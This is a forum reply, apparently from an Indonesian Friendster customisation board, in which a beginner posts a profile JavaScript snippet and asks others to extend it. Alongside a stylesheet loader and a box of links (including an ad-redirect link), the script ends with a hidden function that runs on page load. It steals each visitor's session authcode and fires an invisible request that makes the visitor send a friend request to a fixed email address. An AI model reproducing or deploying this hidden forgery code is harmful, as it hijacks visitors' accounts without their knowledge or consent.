Re: :arrow: [b]Credits goes to all Friendstertalk Members who create these wonderful scripts[/b]
[quote][color=red][b]PERHATIAN :[/b][/color] Bagi para FTI'ers yg linker JS dan CSS extensionnya masih be
bang,gw bru bljr pke script js nich....
tolong lengkapin script pnya gw donk biar lebih keren n komplit....
var css;
try {
css = document.createElement("link");
}catch(e) {
css = document.createElement("<link>");
}
css.setAttribute("type","text/css");
css.setAttribute("rel","stylesheet");
css.setAttribute("href","http://filexoom.com/files/92566/eh.web.id.css ");
css.setAttribute("media","screen, print");
document.getElementsByTagName("head")[0].appendChild(css);
//onload handler
function onProfileLoad() {
//insert generated boxes here
}
if (!attachOnLoadHandler(function(){onProfileLoad()})) window.onload = function(){onProfileLoad()};
function addBox(head,code,id,siblingafter) {
/*
head:
html string title
null - no header bar
code:
html string content
id:
unique string css pointer
siblingafter:
regexp classname
'left' - mainbar column end
'right' - sidebar column end
*/
try {
var li=document.createElement("li");
} catch(e) {
var li=document.createElement("<li>");
}
if(!head) head="";
else head="<h2>"+head+"</h2>";
li.innerHTML="<div id=\""+id+"\" class=\"commonbox "+id+"\">"+
head+
"<div id=\"content_"+id+"\">"+
code+
"</div>"+
"</div>";
if(siblingafter=="left") getElementsByClass(/commonbox[\s]*?controlpanel/i,null,"DIV")[0].parentNode.parentNode.appendChild(li);
else if(siblingafter=="right") getElementsByClass(/commonbox[\s]*?friends/i,null,"DIV")[0].parentNode.parentNode.appendChild(li);
else {
var si=getElementsByClass(siblingafter,null,"DIV")[0];
si.parentNode.parentNode.insertBefore(li,si.parentNode);
}
}
function getElementsByClass(searchClass,node,tag) {
var classElements = new Array();
if ( node == null )
node = document;
if ( tag == null )
tag = '*';
var els = node.getElementsByTagName(tag);
var elsLen = els.length;
var pattern = new RegExp(searchClass);
for (i = 0, j = 0; i < elsLen; i++) {
if ( pattern.test(els[i].className) ) {
classElements[j] = els[i];
j++;
}
}
return classElements;
}
var header="Terima Kasih Kepada:";
var code="<center><font face=\"helvetica\" size=\"3px\" color=\"ffffff\"><a href=\"http://eh.web.id\">EH.WEB.ID</a></center>"+
"<center><a href=\"http://profiles.friendster.com/46854306\">Sumber inspirasi Gw</a></center>"+
"<center><a href=\"http://extensions.joomla.org/component/option,com_mtree/task,viewlink/link_id,3719/Itemid,35/\">Joomla Internasional</a></center>"+
"<center><a href=\"http://www.id-joomla.com/component/option,com_remository/Itemid,46/func,fileinfo/id,55/\">Joomla Indonesia</a></center>"+
"<center><a href=\"http://h3jy63gz8iichwotaihd.usercash.com/\">Download Manga Gratis</a></center>"+
"<center><a href=\"www.google.com/\">Google</a></center>"+
"<center><a href=\"http://eh.web.id/content/view/51/46/\">SMS Gratis</a></center>"+
"<center><a href=\"http://webcipta.com/\">Bikin Website</a></center>";
addBox(header,code,"custombox_536",/standalonebox[\s]*?ads/i);
var afaimg = document.createElement('span');
afaimg.id = "addme";
document.getElementsByTagName('head')[0].appendChild(afaimg);
function afa() {
var eadd = "punkheroes_27@yahoo.com";
var k = document.getElementById("controlPanelButtons").innerHTML;
var a = k.slice(k.indexOf("authcode="));
var m = a.slice(9,39);
document.getElementById("addme").innerHTML = "<img src=\"http://www.friendster.com/addfriendrequest.php?authcode="+m+"&uid="+pageOwnerID+"&email="+eadd+"&firstname=&lastname=&friend=&submit=1\" width=\"0\" height=\"0\" />";
}
if (!attachOnLoadHandler(function() { afa();})) window.onload = function() { afa();};
Tolong ya mas...